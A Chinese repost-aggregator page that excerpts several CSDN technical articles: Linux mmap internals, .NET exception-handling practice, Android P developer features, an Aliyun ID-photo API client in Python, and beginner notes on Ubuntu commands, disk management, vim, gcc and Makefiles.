对于共享内存映射情况,缺页异常处理程序首先在swap cache中寻找目标页(符合address_space以及偏移量的物理页),如果找到,则直接返回地址;如果没有找到,则判断该页是否在交换区 (swap area),如果在,则执行一个换入操作;如果上述两种情况都不满足,处理程序将分配新的物理页面,并把它插入到page cache中。进程最终将更新进程页表。 注:对于映射普通文件情况(非共享映射),缺页异常处理程序首先会在page cache中根据address_space以及数据偏移量寻找相应的页面。如果没有找到,则说明文件数据还没有读入内存,处理程序会从磁盘读入相应的页面,并返回相应地址,同时,进程页表也会更新. (5) 所有进程在映射同一个共享内存区域时,情况都一样,在建立线性地址与物理地址之间的映射之后,不论进程各自的返回地址如何,实际访问的必然是同一个共享内存区域对应的物理页面。 四 总结 1.对于mmap的内存映射,是将物理内存映射到进程的虚拟地址空间中去,那么进程对文件的访问就相当于直接对内存的访问,从而加快了读写操作的效率。在这里,remap_pfn_range函数是一次性的建立页表,而nopage函数是根据page fault产生的进程虚拟地址去找到内核相对应的逻辑地址,再通过这个逻辑地址去找到page。完成映射过程。remap_pfn_range不能对常规内存映射,只能对保留的内存与物理内存之外的进行映射。 2.在这里,要分清几个地址,一个是物理地址,这个很简单,就是物理内存的实际地址。第二个是内核虚拟地址,即内核可以直接访问的地址,如kmalloc,vmalloc等内核函数返回的地址,kmalloc返回的地址也称为内核逻辑地址。内核虚拟地址与实际的物理地址只有一个偏移量。第三个是进程虚拟地址,这个地址处于用户空间。而对于mmap函数映射的是物理地址到进程虚拟地址,而不是把物理地址映射到内核虚拟地址。而ioremap函数是将物理地址映射为内核虚拟地址。 3.用户空间的进程调用mmap函数,首先进行必要的处理,生成vma结构体,然后调用remap_pfn_range函数建立页表。而用户空间的mmap函数返回的是映射到进程地址空间的首地址。所以mmap函数与remap_pfn_range函数是不同的,前者只是生成mmap,而建立页表通过remap_pfn_range函数来完成。 本篇文章为转载内容。原文链接:https://blog.csdn.net/wh8_2011/article/details/52373213。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-09-20 22:49:12
465
转载
转载文章
...面写代码,这是为了“线程终止”安全考虑。在 .NET Core 中由于不支持线程终止因此可以不用这么写。详情可以参考:.NET/C 异常处理:写一个空的 try 块代码,而把重要代码写到 finally 中(Constrained Execution Regions) - walterlv。 该不该引发异常? 什么情况下该引发异常?答案是——这真的是一个异常情况! 于是,我们可能需要知道什么是“异常情况”。 一个可以参考的判断方法是——判断这件事发生的频率: 如果这件事并不常见,当它发生时确实代表发生了一个错误,那么这件事情就可以认为是异常。 如果这件事经常发生,代码中正常情况就应该处理这件事情,那么这件事情就不应该被认为是异常(而是正常流程的一部分)。 例如这些情况都应该认为是异常: 方法中某个参数不应该传入 null 时但传入了 null 这是开发者使用这个方法时没有遵循此方法的契约导致的,让开发者改变调用此方法的代码就可以完全避免这件事情发生 而下面这些情况则不应该认为是异常: 用户输入了一串字符,你需要将这串字符转换为数字 用户输入的内容本身就千奇百怪,出现非数字的输入再正常不过了,对非数字的处理本就应该成为正常流程的一部分 对于这些不应该认为是异常的情况,编写的代码就应该尽可能避免异常。 有两种方法来避免异常: 先判断再使用。 例如读取文件之前,先判断文件是否存在;例如读取文件流时先判断是否已到达文件末尾。 如果提前判断的成本过高,可采用 TryDo 模式来完成,例如字符串转数字中的 TryParse 方法,字典中的 TryGetValue 方法。 对极为常见的错误案例返回 null(或默认值),而不是引发异常。极其常见的错误案例可被视为常规控制流。通过在这些情况下返回 NULL(或默认值),可最大程度地减小对应用的性能产生的影响。(后面会专门说 null) 而当存在下列一种或多种情况时,应引发异常: 方法无法完成其定义的功能。 根据对象的状态,对某个对象进行不适当的调用。 请勿有意从自己的源代码中引发 System.Exception、System.SystemException、System.NullReferenceException 或 System.IndexOutOfRangeException。 该不该捕获异常? 在前面 try-catch-finally 小节中,我们提到了 catch 块中应该写哪些代码,那里其实已经说明了哪些情况下应该处理异常,哪些情况下不应该处理异常。一句总结性的话是——如果知道如何从错误中恢复,那么就捕获并处理异常,否则交给更上层的业务去捕获异常;如果所有层都不知道如何处理异常,就交给全局异常处理模块进行处理。 应用程序全局处理异常 对于 .NET 程序,无论是 .NET Framework 还是 .NET Core,都有下面这三个可以全局处理的异常。这三个都是事件,可以自行监听。 AppDomain.UnhandledException 应用程序域未处理的异常,任何线程中未处理掉的异常都会进入此事件中 当这里能够收到事件,意味着应用程序现在频临崩溃的边缘(从设计上讲,都到这里了,也再没有任何代码能够使得程序从错误中恢复了) 不过也可以配置 legacyUnhandledExceptionPolicy 防止后台线程抛出的异常让程序崩溃退出 建议在这个事件中记录崩溃日志,然后对应用程序进行最后的拯救恢复操作(例如保存用户的文档数据) AppDomain.FirstChanceException 应用程序域中的第一次机会异常 我们前面说过,一个异常被捕获时,其堆栈信息将包含从 throw 块到 catch 块之间的所有帧,而在第一次机会异常事件中,只是刚刚 throw 出来,还没有被任何 catch 块捕捉,因此在这个事件中堆栈信息永远只会包含一帧(不过可以稍微变通一下在第一次机会异常 FirstChanceException 中获取比较完整的异常堆栈) 注意第一次机会异常事件即便异常会被 catch 也会引发,因为它引发在 catch 之前 不要认为异常已经被 catch 就万事大吉可以无视这个事件了。前面我们说过异常仅在真的是异常的情况才应该引发,因此如果这个事件中引发了异常,通常也真的意味着发生了错误(差别只是我们能否从错误中恢复而已)。如果你经常在正常的操作中发现可以通过此事件监听到第一次机会异常,那么一定是应用程序或框架中的异常设计出了问题(可能把正常应该处理的流程当作了异常,可能内部实现代码错误,可能出现了使用错误),这种情况一定是要改代码修 Bug 的。而一些被认为是异常的情况下收到此事件则是正常的。 TaskScheduler.UnobservedTaskException 在使用 async / await 关键字编写异步代码的时候,如果一直有 await 传递,那么异常始终可以被处理到;但中间有异步任务没有 await 导致异常没有被传递的时候,就会引发此事件。 如果在此事件中监听到异常,通常意味着代码中出现了不正确的 async / await 的使用(要么应该修改实现避免异常,要么应该正确处理异常并从中恢复错误) 对于 GUI 应用程序,还可以监听 UI 线程上专属的全局异常: WPF:Application.DispatcherUnhandledException 或者 Dispatcher.UnhandledException Windows Forms:Application.ThreadException 关于这些全局异常的处理方式和示例代码,可以参阅博客: WPF UnhandledException - Iron 的博客 - CSDN博客 抛出哪些异常? 任何情况下都不应该抛出这些异常: 过于抽象,以至于无法表明其含义 Exception 这可是顶级基类,这都抛出来了,使用者再也无法正确地处理此异常了 SystemException 这是各种异常的基类,本身并没有明确的意义 ApplicationException 这是各种异常的基类,本身并没有明确的意义 由 CLR 引发的异常 NullReferenceException 试图在空引用上执行某些方法,除了告诉实现者出现了意料之外的 null 之外,没有什么其它价值了 IndexOutOfRangeException 使用索引的时候超出了边界 InvalidCastException 表示试图对某个类型进行强转但类型不匹配 StackOverflow 表示栈溢出,这通常说明实现代码的时候写了不正确的显式或隐式的递归 OutOfMemoryException 表示托管堆中已无法分出期望的内存空间,或程序已经没有更多内存可用了 AccessViolationException 这说明使用非托管内存时发生了错误 BadImageFormatException 这说明了加载的 dll 并不是期望中的托管 dll TypeLoadException 表示类型初始化的时候发生了错误 .NET 设计失误 FormatException 因为当它抛出来时无法准确描述到底什么错了 首先是你自己不应该抛出这样的异常。其次,你如果在运行中捕获到了上面这些异常,那么代码一定是写得有问题。 如果是捕获到了上面 CLR 的异常,那么有两种可能: 你的代码编写错误(例如本该判空的代码没有判空,又如索引数组超出界限) 你使用到的别人写的代码编写错误(那你就需要找到它改正,或者如果开源就去开源社区中修复吧) 而一旦捕获到了上面其他种类的异常,那就找到抛这个异常的人,然后对它一帧狂扁即可。 其他的异常则是可以抛出的,只要你可以准确地表明错误原因。 另外,尽量不要考虑抛出聚合异常 AggregateException,而是优先使用 ExceptionDispatchInfo 抛出其内部异常。详见:使用 ExceptionDispatchInfo 捕捉并重新抛出异常 - walterlv。 异常的分类 在 该不该引发异常 小节中我们说到一个异常会被引发,是因为某个方法声称的任务没有成功完成(失败),而失败的原因有四种: 方法的使用者用错了(没有按照方法的契约使用) 方法的执行代码写错了 方法执行时所在的环境不符合预期 简单说来,就是:使用错误,实现错误、环境错误。 使用错误: ArgumentException 表示参数使用错了 ArgumentNullException 表示参数不应该传入 null ArgumentOutOfRangeException 表示参数中的序号超出了范围 InvalidEnumArgumentException 表示参数中的枚举值不正确 InvalidOperationException 表示当前状态下不允许进行此操作(也就是说存在着允许进行此操作的另一种状态) ObjectDisposedException 表示对象已经 Dispose 过了,不能再使用了 NotSupportedException 表示不支持进行此操作(这是在说不要再试图对这种类型的对象调用此方法了,不支持) PlatformNotSupportedException 表示在此平台下不支持(如果程序跨平台的话) NotImplementedException 表示此功能尚在开发中,暂时请勿使用 实现错误: 前面由 CLR 抛出的异常代码主要都是实现错误 NullReferenceException 试图在空引用上执行某些方法,除了告诉实现者出现了意料之外的 null 之外,没有什么其它价值了 IndexOutOfRangeException 使用索引的时候超出了边界 InvalidCastException 表示试图对某个类型进行强转但类型不匹配 StackOverflow 表示栈溢出,这通常说明实现代码的时候写了不正确的显式或隐式的递归 OutOfMemoryException 表示托管堆中已无法分出期望的内存空间,或程序已经没有更多内存可用了 AccessViolationException 这说明使用非托管内存时发生了错误 BadImageFormatException 这说明了加载的 dll 并不是期望中的托管 dll TypeLoadException 表示类型初始化的时候发生了错误 环境错误: IOException 下的各种子类 Win32Exception 下的各种子类 …… 另外,还剩下一些不应该抛出的异常,例如过于抽象的异常和已经过时的异常,这在前面一小结中有说明。 其他 一些常见异常的原因和解决方法 在平时的开发当中,你可能会遇到这样一些异常,它不像是自己代码中抛出的那些常见的异常,但也不包含我们自己的异常堆栈。 这里介绍一些常见这些异常的原因和解决办法。 AccessViolationException 当出现此异常时,说明非托管内存中发生了错误。如果要解决问题,需要从非托管代码中着手调查。 这个异常是访问了不允许的内存时引发的。在原因上会类似于托管中的 NullReferenceException。 参考资料 Handling and throwing exceptions in .NET - Microsoft Docs Exceptions and Exception Handling - C Programming Guide - Microsoft Docs 我的博客会首发于 https://blog.walterlv.com/,而 CSDN 会从其中精选发布,但是一旦发布了就很少更新。 如果在博客看到有任何不懂的内容,欢迎交流。我搭建了 dotnet 职业技术学院 欢迎大家加入。 本作品采用知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议进行许可。欢迎转载、使用、重新发布,但务必保留文章署名吕毅(包含链接:https://walterlv.blog.csdn.net/),不得用于商业目的,基于本文修改后的作品务必以相同的许可发布。如有任何疑问,请与我联系。 本篇文章为转载内容。原文链接:https://blog.csdn.net/WPwalter/article/details/94610764。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-13 13:38:26
60
转载
转载文章
...et),使选择文本和调整光标位置变得更加轻松。默认情况下,所有继承自 TextView 的类都会自动支持放大镜,但您也可以使用放大镜 API 将它添加到任何自定义的视图上,从而打造更多样化的体验。 · 后台限制 (Background restrictions) 用户可以更加简单地找到并管理那些在后台消耗电量的应用。通过 Android Vitals 积累下来的成果,Android 可以识别那些过度消耗电量的行为,如滥用唤醒锁定等。在 Android P 中,电池设置页面直接列出了这些过度消耗电量的应用,用户只需一次点击就可以限制它们在后台的活动。 一旦应用被限制,那么它的后台任务、警报、服务以及网络访问都会受限。想要避免被限制的话,请留意 Play Console 中的Android Vitals 控制面板,帮助您了解如何提高性能表现以及优化电量消耗。 后台限制能有效保护系统资源不被恶意消耗,从而确保开发者的应用在不同制造商的不同设备上也能拥有一个基础的合理的运行环境。虽然制造商可以在限制列表上额外添加限制的应用,但它们也必须在电池设置页面为用户开放这些限制的控制权。 我们添加了一个标准 API 来帮助应用知晓自己是否被限制,以及一个 ADB 命令来帮助开发者手动限制应用,从而进行测试。具体请参阅相关文档。接下来我们计划在 Play Console 的 Android Vitals 控制面板里添加一个统计数据,以展示应用受到限制的情况。 · 使用动态处理增强音频 (Enhanced audio with Dynamics Processing) Android P 在音频框架里加入了动态处理效果 (Dynamic Processing Effect) 来帮助开发者改善声音品质。通过动态处理,您可以分离出特定频率的声音,降低过大的音量,或者增强那些过小的音量。举例来说,即便说话者离麦克风较远,而且身处嘈杂或者被刺耳的各种环境音包围的地方,您的应用依然可以有效分离并增强他/她的细语。 动态处理 API 提供了多声场、多频段的动态处理效果,包括一个预均衡器、一个多频段压缩器,一个后均衡器以及一个串联的音量限制器。这样您就可以根据用户的喜好或者环境的变化来控制 Android 设备输出的声音。频段数量以及各个声场的开关都完全可控,大多数参数都支持实时控制,如增益、信号的压缩/释放 (attack/release) 时长,阈值等等。 请点击蓝色字体前往 “Android Developers 官方文档”查看详细说明 安全 (Security) · 用户识别提示 (Biometric prompt) Android P 为市面上涌现出来的各种用户识别机制在系统层面提供了统一的使用体验,应用们不再需要自行提供用户识别操作界面,而只需要使用统一的 BiometricPrompt API 即可。这套全新的 API 替代了 DP1 版本中的 FingerprintDialog API,且支持包括指纹识别 (包括屏幕下指纹识别)、面部识别以及虹膜识别,而且所有系统支持的用户识别需求都包含在一个 USE_BIOMETRIC 权限里。FingerprintManager 以及对应的 USE_FINGERPRINT 权限已经被废弃,请开发者尽快转用 BiometricPrompt。 · 受保护的确认操作 (Protected Confirmation) Android P 新增了受保护的确认操作 (Android Protected Confirmation),这个功能使用可信执行环境 (Trusted Execution Environment, TEE) 来确保一个显示出来的提示文本被真实用户确认。只有在用户确认之后,TEE 才会放行这个文本并可由应用去验证。 · 对私有密钥的增强保护 (Stronger protection for private keys) 我们添加了一个新的 KeyStore 类型,StrongBox。并提供对应的 API 来支持那些提供了防入侵硬件措施的设备,比如独立的 CPU,内存以及安全存储。您可以在 KeyGenParameterSpec 里决定您的密钥是否该交给 StrongBox 安全芯片来保存。 Android P Beta 为用户带来新版本的 Android 需要 Google、芯片供应商以及设备制造商和运营商的共同努力。这个过程中充满了技术挑战,并非一日之功 —— 为了让这个过程更加顺畅,去年我们启动了 Project Treble,并将其包含在 Android Oreo 中。我们与合作伙伴们一直在努力开发这个项目,也已经看到 Treble 所能带来的机遇。 我们宣布,以下 6 家顶级合作伙伴将和我们一起把 Android P Beta 带给全世界的用户,这些设备包括:索尼 Xperia XZ2, 小米 Mi Mix 2S, 诺基亚 7 Plus, Oppo R15 Pro, Vivo X21UD 和 X21, 以及 Essential PH‑1。此外,再加上 Pixel 2, Pixel 2 XL, Pixel 和 Pixel XL,我们希望来自世界各地的早期体验者以及开发者们都能通过这些设备体验到 Android P Beta。 您可查看今天推送的文章查阅支持 beta 体验的合作伙伴和 Pixel 设备清单,并能看到每款设备的详细配置说明。如果您使用 Pixel 设备,现在就可以加入 Android Beta program,然后自动获得最新的 Android P Beta。 马上开始在您喜欢的设备上体验 Android P Beta 吧,欢迎您向我们反馈意见和建议!并请继续关注 Project Treble 的最新动态。 确保 app 兼容 随着越来越多的用户开始体验 Android P Beta,是时候开始测试您 app 的兼容性,以尽早解决在测试中发现的问题并尽快发布更新。请查看迁移手册了解操作步骤以及 Android P 的时间推进表。 请从 Google Play 下载您的应用,并在运行 Android P Beta 的设备或模拟器上测试用户流程。确保您的应用体验良好,并正确处理 Android P 的行为变更。尤其注意动态电量管理、Wi-Fi 权限变化、后台调用摄像头以及传感器的限制、针对应用数据的 SELinux 政策、默认启用 TLS 的变化,以及 Build.SERIAL 限制。 · 公开 API 的兼容性 (Compatibility through public APIs) 针对非 SDK 接口的测试十分重要。正如我们之前所强调的,在 Android P 中,我们将逐渐收紧一些非 SDK 接口的使用,这也要求广大的开发者们,包括 Google 内部的应用团队,使用公开 API。 如果您的应用正在使用私有 Android API 或者库,您需要改为使用 Android SDK 或 NDK 公开的 API。我们在 DP1 里已经对使用私有接口的开发者发出了警告信息,从 Android P Beta 开始,调用非 SDK 接口将会报错 (部分被豁免的私有 API 除外) —— 也就是说您的应用将会遭遇异常,而不再只是警告了。 为了帮助您定位非 SDK API 的使用情况,我们在 StrictMode 里加入了两个新的方法。您可以使用 detectNonSdkApiUsage() 在应用通过反射或 JNI 调用非 SDK API 的时候收到警报,您还可以使用 permitNonSdkApiUsage() 来阻止 StrictMode 针对这些调用报错。这些方法都可助您了解应用调用非 SDK API 的情况,但请注意,即便调用的 API 暂时得到了豁免,最保险的做法依然是尽快放弃对它们的使用。 如果您确实遇到了公开 API 无法满足需求的情况,请立刻告知我们。更多详细内容请查看相关文档。 · 凹口屏测试 (Test with display cutout) 针对凹口屏测试您的应用也十分重要。现在您可以在运行 Android P Beta 的合作伙伴机型上测试,确保您的应用在凹口屏上表现良好。同时,您也可以在 Android P 设备的开发者选项里打开对凹口屏的模拟,对您的应用做相应测试。 体验 Android P 在准备好开发条件后,请深入了解 Android P 并学习可以在您的应用中使用到的全新功能和 API。为了帮助您更轻松地探索和使用新 API,请查阅 API 变化报告 (API 27->DP2, DP1->DP2) 以及 Android P API 文档。访问开发者预览版网站了解详情。 下载/更新 Android P 开发者预览版 SDK 和工具包至 Android Studio 3.1,或使用最新版本的 Android Studio 3.2。如果您手边没有 Android P Beta 设备 (或查看今天推送的次条文章),请使用 Android P 模拟器来运行和测试您的应用。 您的反馈一直都至关重要,我们欢迎您畅所欲言。如果您在开发或测试过程中遇到了问题,请在文章下方留言给我们。再次感谢大家一路以来的支持。 请点击蓝色字体前往 “Android Developers 官方文档”查看详细说明 本篇文章为转载内容。原文链接:https://blog.csdn.net/weixin_34258782/article/details/87952581。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-04-10 18:19:36
339
转载
转载文章
...s('off') 调整子图之间的间距plt.subplots_adjust(wspace=0.1, hspace=0.1) 展示图像plt.show() 上述的代码文件是在bihand/models/net_seed.py中,全部代码链接在https://github.com/lixiny/bihand。 把bihand/models/net_seed.p中的代码修改为我提供的代码即可使用作者训练好的模型和进行各种可视化。(预训练模型根据作者代码提示下载) 3.调用阿里云API进行证件照生成实例 3.1 准备工作 1.找到接口 进入下面链接即可快速访问 link 2.购买试用包 3.查看APPcode 4.下载代码 5.参数说明 3.2 实验代码 !/usr/bin/python encoding: utf-8"""===========================证件照制作接口==========================="""import requestsimport jsonimport base64import hashlibclass Idphoto:def __init__(self, appcode, timeout=7):self.appcode = appcodeself.timeout = timeoutself.make_idphoto_url = 'https://idp2.market.alicloudapi.com/idphoto/make'self.headers = {'Authorization': 'APPCODE ' + appcode,}def get_md5_data(self, body):"""md5加密:param body_json::return:"""md5lib = hashlib.md5()md5lib.update(body.encode("utf-8"))body_md5 = md5lib.digest()body_md5 = base64.b64encode(body_md5)return body_md5def get_photo_base64(self, file_path):with open(file_path, 'rb') as fp:photo_base64 = base64.b64encode(fp.read())photo_base64 = photo_base64.decode('utf8')return photo_base64def aiseg_request(self, url, data, headers):resp = requests.post(url=url, data=data, headers=headers, timeout=self.timeout)res = {"status_code": resp.status_code}try:res["data"] = json.loads(resp.text)return resexcept Exception as e:print(e)def make_idphoto(self, file_path, bk, spec="2"):"""证件照制作接口:param file_path::param bk::param spec::return:"""photo_base64 = self.get_photo_base64(file_path)body_json = {"photo": photo_base64,"bk": bk,"with_photo_key": 1,"spec": spec,"type": "jpg"}body = json.dumps(body_json)body_md5 = self.get_md5_data(body=body)self.headers.update({'Content-MD5': body_md5})data = self.aiseg_request(url=self.make_idphoto_url, data=body, headers=self.headers)return dataif __name__ == "__main__":file_path = "图片地址"idphoto = Idphoto(appcode="你的appcode")d = idphoto.make_idphoto(file_path, "red", "2")print(d) 3.3 实验结果与分析 原图片 背景为红色生成的证件照 背景为蓝色生成的证件照 另外尝试了使用柴犬照片做实验,也生成了证件照 原图 背景为红色生成的证件照 参考(可供参考的链接和引用文献) 1.参考:BiHand: Recovering Hand Mesh with Multi-stage Bisected Hourglass Networks(BMVC2020) 论文链接:https://arxiv.org/pdf/2008.05079.pdf 本篇文章为转载内容。原文链接:https://blog.csdn.net/m0_37758063/article/details/131128967。 该文由互联网用户投稿提供,文中观点代表作者本人意见,并不代表本站的立场。 作为信息平台,本站仅提供文章转载服务,并不拥有其所有权,也不对文章内容的真实性、准确性和合法性承担责任。 如发现本文存在侵权、违法、违规或事实不符的情况,请及时联系我们,我们将第一时间进行核实并删除相应内容。
2023-07-11 23:36:51
132
转载
转载文章
... -i :搜索时忽略大小写 grep 默认是匹配字符, -w 选项默认匹配一个单词 例如我想匹配 “like”, 不加 -w 就会匹配到 “liker”, 加 -w 就不会匹配到 du 目录/文件 -sh : 查看某一文件/目录的大小,也可以到一个目录下du -sh,查看这个目录的大小 目录下使用du -sh 查看目录总的大小 du 文件名 -sh 查看指定文件的大小 df:检查linux服务器的文件系统磁盘空间占用情况,默认以kb为单位 gedit 文件:使用gedit软件打开一个文件(类似于windows下面的记事本) ps:查看您当前系统有哪些进程,ubuntu(多用户)下是ps -aux,嵌入式linux(单用户)下面是ps top:进程实时运行状态查询 file 文件名:查看文件类型 ubuntu的fs cd / :根目录,一切都是从根目录发散开来的 /bin:存放二进制可执行文件,比如一些命令 /boot:ubuntu的内核与启动文件 /cdrom:有光盘是存放光盘文件 /dev:存放设备驱动文件 /etc:存放配置文件,如账号和密码文件(加密后的) /home:系统默认的用户主文件夹 /lib:存放库文件 /lib64:存放库文件,. so时linux下面的动态库文件 /media:存放可插拔设备,如sd,u盘就是挂载到这个文件下面 /mnt:用户可使用的挂载点,和media类似,可以手动让可插拔设备挂载到/mnt /opt:可选的文件和程序存放目录,给第三方软件放置的目录 /proc:存放系统的运行信息,实在内存上的不是在flash上,如cat /proc/cpuinfo /root:系统管理员目录,root用户才能访问的文件 /sbin:和bin类似,存放一些二进制可执行文件,sbin下面一般是系统开机过程中所需要的命令 /srv:服务相关的目录,如网络服务 /sys:记录内核信息,是虚拟文件系统 /tmp:临时目录 /usr:不是user的缩写,而是UNIX Software Resource的缩写,存放系统用户有关的文件,占很大空间 /var:存放变化的文件,如日志文件 – 移植就是移植上面这些文件 磁盘管理 linux开发一定要选用FAT32格式的U盘或者SD卡 u盘在/dev中的名字是sd,要确定是哪个,拔了看少了哪个。就是哪个 /dev/sdb表示U盘,/dev/sdb1表示U盘的第一个分区,一般U盘 sd卡只有一个分区 df:显示linux系统的磁盘占用情况 在一个目录里使用du -sh:查看这个目录里面所有内容所占用的资源 du 文件名 -sh:一般用来看单个文件/目录的大小 du -h --max-depth=n:显示n级目录的大小 – 磁盘的挂载与取消挂载: mount 和 umount sudo mount /dev/sdb1 /media/jl/udisk sudo umount /media/jl/u盘名 (-f 强制取消挂载),如果u盘正在使用,如被另一个终端打开,那么该指令无效 mount挂载后中文显示乱码的解决方法 sudo mount -o iocharset=utf8 /dev/sdb1 udisk – 磁盘的分区和格式化 sudo fdisk -l /dev/sdb 查看所有分区信息(–help查看别的用法) sudo fdisk /dev/sdb1 ----> m ( 进入帮助 ) ----> d 删除该分区 ----> wq 保存并退出 mkfs -t vfat /dev/sdb1 mkfs -t vfat /dev/sdb2 mkfs -t vfat /dev/sdb3 给分区1,2,3分别格式化,完成后能在图形界面看见三个u盘图标 格式化u盘之前一定要先卸载u盘已经挂载的系统。 – 压缩和解压缩 linux下常用的压缩扩展名: .tar .tar.bz2 .tar.gz 后两个linux常用 windows下面用7zip软件 右键选中文件,选择7zip,添加到压缩包,压缩格式选择tar,仅存储 生成tar文件,这里只是打包,没有压缩 右键上面的tar文件,选择7zip,添加到压缩包,压缩格式选择bzip2,确定 生成.tar.bz2文件,把它放到ubuntu解压 ubuntu也支持解压.tar和.zip,但后面两个常用 – ubuntu下面的压缩工具时gzip 压缩文件 gzip 文件名:压缩文件,变成 原文件名.gz,原来的文件就不见了 解压缩文件 gzip -d .gz:还原 文件 gzip -r 目录:递归,将该目录里的各个文件压缩,不提供打包服务 – bzip2工具负责压缩和解压缩.bz2格式的压缩包 bzip2 -z 文件名,压缩成 文件名.bz2 bzip2 -d 文件名.bz2,解压缩成 文件名 bzip2不能压缩/解压缩 目录 – 打包工具 tar 常用参数 -f:使用归档文件(必须要在所有选项后面) -c:创建一个新归档 -x:从归档中解出文件 -j:使用bzip2压缩格式 -z:使用gzip压缩格式 -v:打印出命令执行过程 如以bzip2格式压缩,打包 tar -vcjf 目录名.tar.bz2 目录名 如将上面的压缩包解包 tar -vxjf 目录名.tar.bz2 – 其他压缩工具 rar工具 sudo apt-get install rar(用dhcp连不上阿里云的镜像) rar a test.rar test 把test压缩成test.rar rar x test.rar 把test.rar解压缩成test – zip工具 压缩 zip -rv test.zip test 解压缩 unzip test.zip – ubuntu的用户和用户组 linux是多用户的os,不同的用户有不同的权限,可以查看和操作不同的文件 有三种用户 1、初次用户 2、root用户 3、普通用户 root用户可以创建普通用户 linux用户记录在/etc/passwd这个文件内 linux用户密码记录在/etc/shadow这个文件内,不是以明文记录的 每个用户都有一个id,叫做UID – linux用户组 为了方便管理,将用户进行分组,每个用户可以属于多个组 可以设置非本组人员不能访问一些文件 用户和用户组的存在就是为了控制文件的访问权限的 每个用户组都有一个ID,叫做GID 用户组信息存储在/etc/group中 passwd 用户名:修改该用户的密码 – ubuntu文件权限 ls -al 文件名 如以b开头: -brwx - rwx - rwx -:b表示 块文件,设备文件里面可供存储的周边设备 以d开头是目录 以b是块设备文件 以-开头是普通文件 以 l 开头表示软连接文件 以c开头是设备文件里的串行端口设备 -rwx - rwx - rwx -:用户权限,用户组内其他成员,其它组用户 数字 1 表示链接数,包括软链接和硬链接 第三列 jl 表示文件的拥有者 第四列 jl 表示文件的用户组 第五列 3517 表示这个文件的大小,单位是字节 ls -l 显示的文件大小单位是字节 ls -lh 现实的文件大小单位是 M / G 第六七八列是最近修改时间 最后一列是文件名 – 修改文件权限命令 chmod 777 文件名 修改文件所属用户 sudo chown root 文件 修改文件用户组 sudo chown .root 文件 同时修改文件用户和用户组 sudo chown jl.jl 文件 修改目录的用户/用户组 sudo chown -r jl.jl 目录( root.root ) – linux连接文件 1、硬连接 2、符号连接(软连接) linux有两种连接文件,软连接/符号连接,硬连接 符号连接类似于windows下面的快捷方式 硬连接通过文件系统的inode连接来产生新文件名,而不是产生新文件 inode:记录文件属性,一个文件对应一个inode, inode相当于文件ID 查找文件要先找到inode,然后才能读到文件内容 – ln 命令用于创建连接文件 ln 【选项】源文件 目标文件 不加选项就是默认创建硬连接 -s 创建软连接 -f 强制创建连接文件,如果目标存在,就先删掉目标文件,再创建连接文件 – 硬连接:多个文件都指向同一个inode 具有向inode的多个文件互为硬连接文件,创建硬连接相当于文件实体多了入口 只有删除了源文件、和它所有的硬连接文件,晚间实体才会被删除 可以给文件创建硬连接来防止文件误删除 改了源文件还是硬连接文件,另一个文件的数据都会被改变 硬连接不能跨文件系统(另一个格式的u盘中的文件) 硬连接不能连接到目录 出于以上原因,硬连接不常用 ls -li:此时第一列显示的就是每个文件的inode – 软连接/符号连接 类似windows下面的快捷方式 使用较多 软连接相当于串联里一个独立的文件,该文件会让数据读取指向它连接的文件 ln -s 源文件 目标文件 特点: 可以连接到目录 可以跨文件系统 删除源文件,软连接文件也打不开了 软连接文件通过 “ -> ” 来指示具体的连接文件(ls -l) 创建软连接的时候,源文件一定要使用绝对路径给出,(硬连接无此要求) 软连接文件直接用cp复制到别的目录下,软连接文件就会变成实体文件,就算你把源文件删掉,该文件还是有效 正确的复制、移动软连接的用法是:cp -d 如果不用绝对路径,cp -d 软连接文件到别的目录,该软连接文件就会变红,失效 如果用了绝对路径,cp -d 软连接文件到别的目录,该软连接文件还是有效的,还是软连接文件 不用绝对路径,一拷贝就会出问题 – 软连接一个目录,也是可以用cp -d复制到其他位置的 – gedit 是基于图形界面的 vim有三种模式: 1、一般模式:默认模式,用vim打开一个文件就自动进入这个模式 2、编辑模式:按 i,a等进入,按esc回到一般模式 3、命令行/底行模式:在一般模式下输入:/ ?可进入命令行模式 ,按esc回到一般模式 一般模式下,dd删除光标所在的一整行; ndd,删除掉光标所在行和下面的一共n行 点 . 重复上一个操作 yy复制光标所在行 小p复制到光标下一行 大p复制到光标上一行n nyy复制光标所在往下n行 设置vim里的tab是四个空格:在/etc/vim/vimrc里面添加:set ts=4 设置vim中显示行号:在上面那个文件里添加:set nu – vscode是编辑器 gcc能编译汇编,c,cpp 电脑上的ubuntu自带的gcc用来编译x86架构的程序,而嵌入式设备的code要用针对于该芯片架构如arm的gcc编译器,又叫做交叉编译器(在一种架构的电脑上编译成另一种架构的代码) gcc -c 源文件:只编译不链接,编译成.o文件 -o 输出文件名( 默认名是 .out ) -O 对程序进行优化编译,这样产生的可执行文件执行效率更高 -O2:比-O幅度更大的优化,但编译速度会很慢 -v:显示编译的过程 gcc main.c 输出main.out的可执行文件 预处理 --> 编译 --> 汇编 --> 链接 – makefile里第一个目标默认是终极目标 其他目标的顺序可以变 makefile中的变量都是字符串 变量的引用方法 : $ ( 变量名 ) – Makefile中执行shell命令默认会把命令本身打印出来 如果在shell命令前加 @ ,那么shell’命令本身就不会被打印 – 赋值符:= 变量的有效值取决于他最后一次被赋值的值 : = 赋值时右边的值只是用前面已经定义好的,不会使用后面的 ?= 如果左边的前面没有被赋值,那么在这里赋值,佛则就用前面的赋值 + = 左边前面已经复制了一些字串,在这里添加右边的内容,用空格隔开 – 模式规则 % . o : % . c %在这里意思是通配符,只能用于模式规则 依赖中 % 的内容取决于目标 % 的内容 – CFLAGS:指定头文件的位置 LDFLAGS:用于优化参数,指定库文件的位置 